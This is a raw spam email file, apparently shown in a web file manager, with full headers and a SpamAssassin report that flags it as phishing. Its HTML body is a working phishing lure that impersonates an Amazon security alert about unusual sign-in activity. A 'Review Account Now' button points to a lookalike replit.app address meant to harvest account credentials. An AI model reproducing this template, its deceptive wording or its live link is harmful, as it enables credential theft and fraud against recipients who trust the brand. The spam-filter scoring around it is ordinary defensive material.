Google
Edit File: 1770027918.M234607P176095.server-619288.prediksijaya.com,S=10564,W=10730:2,a
Return-Path: <admin@protoservermain.com> Delivered-To: angker+spam@server-619288.prediksijaya.com Received: from server-619288.prediksijaya.com by server-619288.prediksijaya.com with LMTP id kCyXDY57gGnfrwIAf7/9AQ (envelope-from <admin@protoservermain.com>) for <angker+spam@server-619288.prediksijaya.com>; Mon, 02 Feb 2026 17:25:18 +0700 Return-path: <admin@protoservermain.com> Envelope-to: info@21stbikes.com Delivery-date: Mon, 02 Feb 2026 17:25:18 +0700 Received: from [129.121.73.53] (port=40638 helo=mail.protoservermain.com) by server-619288.prediksijaya.com with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384 (Exim 4.99.1) (envelope-from <admin@protoservermain.com>) id 1vmr7N-00000000jlv-0JNC for info@21stbikes.com; Mon, 02 Feb 2026 17:25:18 +0700 Received: from Blustacccccrafbc4k3ojsu5jeav1tzjkd0laphxxinternalcloudappnet (unknown [20.150.199.105]) by mail.protoservermain.com (Postfix) with ESMTPSA id 8634E222A64 for <info@21stbikes.com>; Mon, 2 Feb 2026 09:52:45 +0000 (UTC) DKIM-Filter: OpenDKIM Filter v2.11.0 mail.protoservermain.com 8634E222A64 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=protoservermain.com; s=202600; t=1770025965; bh=d55fLh5YgTnqneGhbbL74gB8sNN3oc3Py1V9EcXTr0M=; h=From:Reply-To:To:Subject:Date:From; b=eyvDu+3v/TummQmcFbDPgwcQ8c8vv5UxdPEd5FK52PI/8fGFrRrcDxhOIHHMuOEJ1 v49D3IkxQ7eWf13sdKmrD6Wh1/i2FrcHJq1tuntR37oObFzcRIshVlWyxcjXErquS6 Mt9Q5Rz2jf0yRTTUcxZtgGIAPt/FrhQmwK0zbF3PK0vG8mzHFOuJ4PcYbNaRtiOLpj /2pf08PmX4WEq9p3toKj5h8nNi9TOzMDadA5n/V5YilOWPEnx0OBQU4S/6s3J8jwQK HI2qof6hVn/ZBJxJOFgW7yCe8wKQomFBeOVYASv3a11RGbf+27MVkP17a9KPSnyTe3 QsMWkLwPcbiQA== MIME-Version: 1.0 From: "Alert" <admin@protoservermain.com> Reply-To: admin@protoservermain.com To: info@21stbikes.com Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Smart_Send_4_4_2 Date: Mon, 2 Feb 2026 09:52:44 +0000 Message-ID: <103562620052081745413410@Blustaccccc> X-Priority: 1 X-MSMail-Priority: High X-Spam-Status: Yes, score=11.7 X-Spam-Score: 117 X-Spam-Bar: +++++++++++ X-Spam-Report: Spam detection software, running on the system "server-619288.prediksijaya.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Security Notification SERVICE NOTIFICATION Action Required: Unusual Activity Detected Content analysis details: (11.7 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [129.121.73.53 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [129.121.73.53 listed in bl.score.senderscore.com] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: protoservermain.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [129.121.73.53 listed in sa-accredit.habeas.com] 0.5 JMQ_SPF_NEUTRAL ASKDNS: SPF set to ?all [protoservermain.com TXT:v=spf1 a mx] [a:protoservermain.com ip4:129.121.73.53] [?all] 1.5 RCVD_IN_HOSTKARMA_BL RBL: Sender listed in HOSTKARMA-BLACK [129.121.73.53 listed in hostkarma.junkemailfilter.com] 0.0 RCVD_IN_DNSWL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to DNSWL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block for more information. [129.121.73.53 listed in list.dnswl.org] -0.0 SPF_PASS SPF: sender matches SPF record -0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from envelope-from domain -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.1 VFY_ACCT_NORDNS Verify your account to a poorly-configured MTA - probable phishing 1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/) 2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50% [cf: 100] 3.5 URI_PHISH Phishing using web form X-Spam-Flag: YES Subject: Amazon - Unusual Activity Detected <html lang=3D"en"><head>=0A <meta charset=3D"UTF-8">=0A <meta name=3D= "viewport" content=3D"width=3Ddevice-width, initial-scale=3D1.0">=0A <ti= tle>Security Notification</title>=0A <style>=0A /* Reset for emai= l clients */=0A body { margin: 0; padding: 0; width: 100% !important= ; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; background-co= lor: #EAEDED; }=0A img { border: 0; height: auto; line-height: 100%;= outline: none; text-decoration: none; }=0A table { border-collapse:= collapse !important; }=0A =0A /* Mobile Responsive */=0A = @media only screen and (max-width: 600px) {=0A .email-contai= ner { width: 100% !important; }=0A .content-padding { padding: 2= 0px !important; }=0A }=0A </style>=0A</head>=0A<body style=3D'pad= ding: 20px 0px; font-family: "Amazon Ember", Arial, sans-serif; background-= color: rgb(234, 237, 237);'>=0A <table width=3D"600" align=3D"center" cl= ass=3D"email-container" role=3D"presentation" style=3D"margin: auto; border= -radius: 4px; border: 1px solid rgb(213, 217, 217); border-image: none; ove= rflow: hidden; background-color: rgb(255, 255, 255);">=0A <tr>=0A = <td align=3D"center" style=3D"padding: 25px 0px; background-color:= rgb(255, 255, 255);">=0A <div style=3D"color: rgb(35, 47, 6= 2); font-size: 28px; font-weight: bold;">SERVICE NOTIFICATION</div>=0A = </td>=0A </tr>=0A=0A <tr>=0A <td class=3D"c= ontent-padding" style=3D"padding: 40px; color: rgb(17, 17, 17);">=0A = <h2 style=3D"color: rgb(196, 85, 0); font-size: 22px; font-weight:= 700; margin-top: 0px;">Action Required: Unusual Activity Detected</h2>=0A = =0A <p style=3D"line-height: 20px; font-size:= 14px;">Hello,</p>=0A <p style=3D"line-height: 20px; font-si= ze: 14px;">=0A We noticed a sign-in to your account from= a device or location you haven't used before. As a result, we've temporari= ly locked certain account features to ensure your information remains secur= e.=0A </p>=0A=0A <table width=3D"100%" role= =3D"presentation" style=3D"margin: 25px 0px; border-radius: 8px; background= -color: rgb(240, 242, 242);">=0A <tr>=0A = <td style=3D"padding: 20px;">=0A <p styl= e=3D"margin: 0px 0px 10px; font-size: 13px;"><strong>When:</strong> January= 31, 2026, 18:21 (UTC)</p>=0A <p style=3D"margin= : 0px 0px 10px; font-size: 13px;"><strong>Device:</strong> Firefox on Windo= ws (Unknown)</p>=0A <p style=3D"margin: 0px; fon= t-size: 13px;"><strong>Location:</strong> Near Dublin, Ireland (IP=3D192.0.= 2.1)</p>=0A </td>=0A </tr>=0A = </table>=0A=0A <p style=3D"line-height: 20px; fo= nt-size: 14px;">=0A If this <strong>was not you</strong>= , please click the button below to confirm your identity and secure your ac= count.=0A </p>=0A=0A <table align=3D"center" = role=3D"presentation" style=3D"margin: 30px auto;">=0A <= tr>=0A <td align=3D"center" style=3D"border-radius: = 8px; box-shadow: 0px 2px 5px rgba(213,217,217,0.5);" bgcolor=3D"#ffd814">= =0A <a style=3D"padding: 12px 40px; border-radiu= s: 8px; border: 1px solid rgb(252, 210, 0); border-image: none; color: rgb(= 15, 17, 17); font-size: 14px; font-weight: 500; text-decoration: none; disp= lay: inline-block;" href=3D"https://ama-acc-update-now-now.replit.app">Revi= ew Account Now</a>=0A </td>=0A </= tr>=0A </table>=0A=0A <p style=3D"color: rgb(= 86, 89, 89); line-height: 18px; font-size: 12px;">=0A No= te: Our support team will never ask for your password over email.=0A = </p>=0A </td>=0A </tr>=0A=0A <tr>=0A = <td style=3D"padding: 30px; text-align: center; color: rgb(86, 89, 8= 9); font-size: 11px; border-top-color: rgb(213, 217, 217); border-top-width= : 1px; border-top-style: solid; background-color: rgb(252, 252, 252);">=0A = <p style=3D"margin-bottom: 10px;">This email was sent from a= notification-only address. Please do not reply.</p>=0A <p>= =C2=A9 2026 Amazon Security Team, Inc. All rights reserved.</p>=0A = </td>=0A </tr>=0A </table>=0A=0A=0A=0A</body></html>